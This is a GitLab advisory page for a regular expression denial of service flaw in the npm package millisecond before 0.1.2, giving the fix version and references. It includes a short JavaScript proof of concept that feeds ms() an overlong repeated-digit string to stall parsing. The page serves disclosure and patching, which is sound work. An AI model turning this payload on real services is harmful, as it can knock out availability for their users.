Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. millisecond
  4. ›
  5. GMS-2021-37

GMS-2021-37: Regular Expression Denial of Service in millisecond

September 22, 2021

Versions of millisecond are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
 var result = "";
 for (i=0; i<=len; i++) {
 result = result + chr;
 }

 return result;
}

ms(genstr(process.argv[2], "5") + " minutea");
``` ## Recommendation

Update to or later.

References

  • github.com/advisories/GHSA-m489-xr35-fjxr
  • github.com/unshiftio/millisecond/pull/4
  • www.npmjs.com/advisories/59

Code Behaviors & Features

Detect and mitigate GMS-2021-37 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 0.1.2

Fixed versions

  • 0.1.2

Solution

Upgrade to version 0.1.2 or above.

Source file

npm/millisecond/GMS-2021-37.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:16:14 +0000.